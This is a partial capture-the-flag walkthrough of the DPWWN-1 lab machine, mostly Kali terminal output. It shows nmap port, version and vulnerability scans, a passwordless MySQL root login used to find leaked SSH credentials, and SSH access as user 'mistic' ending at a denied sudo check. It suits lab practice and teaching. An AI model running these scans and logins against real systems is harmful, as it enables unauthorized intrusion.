┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.1.1.142 Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-26 23:04 EDT Nmap scan report for 192.1.1.142 Host is up (0.0011s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql MAC Address: 00:0C:29:74:F0:06 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 5.04 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p22,80,3306 192.1.1.142 Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-26 23:10 EDT Nmap scan report for 192.1.1.142 Host is up (0.0019s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 c1:d3:be:39:42:9d:5c:b4:95:2c:5b:2e:20:59:0e:3a (RSA) | 256 43:4a:c6:10:e7:17:7d:a0:c0:c3:76:88:1d:43:a1:8c (ECDSA) |_ 256 0e:cc:e3:e1:f7:87:73:a1:03:47:b9:e2:cf:1c:93:15 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-title: Apache HTTP Server Test Page powered by CentOS | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 3306/tcp open mysql MySQL 5.5.60-MariaDB | mysql-info: | Protocol: 10 | Version: 5.5.60-MariaDB | Thread ID: 4 | Capabilities flags: 63487 | Some Capabilities: LongPassword, Speaks41ProtocolNew, SupportsLoadDataLocal, SupportsTransactions, Support41Auth, DontAllowDatabaseTableColumn, InteractiveClient, FoundRows, ConnectWithDatabase, LongColumnFlag, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, Speaks41ProtocolOld, ODBCClient, SupportsCompression, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins | Status: Autocommit | Salt: i7tdxO_q9h#q3GK#ik^t |_ Auth Plugin Name: mysql_native_password MAC Address: 00:0C:29:74:F0:06 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.48 seconds
Apache/2.4.6 (CentOS) PHP/5.4.16, MySQL 5.5.60-MariaDB
┌──(kali㉿kali)-[~] └─$ sudo nmap --script=vuln -p22,80,3306 192.1.1.142 Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-26 23:14 EDT Nmap scan report for 192.1.1.142 Host is up (0.00026s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldn\'t find any DOM based XSS. |_http-trace: TRACE is enabled |_http-csrf: Couldn\'t find any CSRF vulnerabilities. |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. | http-enum: | /info.php: Possible information file |_ /icons/: Potentially interesting folder w/ directory listing 3306/tcp open mysql |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug) MAC Address: 00:0C:29:74:F0:06 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 31.22 seconds
┌──(kali㉿kali)-[~/Downloads/DPWWN_1] └─$ mysql -u root -h 192.1.1.142 ERROR 1129 (HY000): Host '192.1.1.128' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'
呃呃呃,好像有点问题,连接太多,猜测可能是之前扫描的问题。刚开始没管这个错误,开始找别的思路,尝试了从 phpinfo 里找突破口,从目录爆破找隐藏文件夹,但是都失败了,这台靶机暴露面比较少。偷瞄了眼 WP,确定是 MySQL 登录作为攻击面,于是果断重启靶机,后面就很简单了,从数据库的各个表里找泄露的信息
┌──(kali㉿kali)-[~/Downloads/DPWWN_1] └─$ mysql -u root -h 192.1.1.142 Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 2 Server version: 5.5.60-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> use ssh Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
┌──(kali㉿kali)-[~/Downloads/DPWWN_1] └─$ ssh mistic@192.1.1.142 The authenticity of host '192.1.1.142 (192.1.1.142)' can\'t be established. ED25519 key fingerprint is SHA256:gk40nSGfkMrCYAeMyL2l9aCwV/VL5i5mWKrFfowOfH0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.1.1.142' (ED25519) to the list of known hosts. mistic@192.1.1.142\'s password: Last login: Thu Aug 1 14:41:37 2019 from 192.168.30.145 [mistic@dpwwn-01 ~]$ whoami mistic [mistic@dpwwn-01 ~]$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000 link/ether 00:0c:29:74:f0:06 brd ff:ff:ff:ff:ff:ff inet 192.1.1.142/24 brd 192.1.1.255 scope global noprefixroute dynamic ens33 valid_lft 1336sec preferred_lft 1336sec inet6 fe80::20c:29ff:fe74:f006/64 scope link valid_lft forever preferred_lft forever [mistic@dpwwn-01 ~]$ uname -a Linux dpwwn-01 3.10.0-957.el7.centos.plus.i686 #1 SMP Wed Nov 7 19:17:19 UTC 2018 i686 i686 i386 GNU/Linux [mistic@dpwwn-01 ~]$ sudo -l
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
[sudo] password for mistic: Sorry, user mistic may not run sudo on dpwwn-01.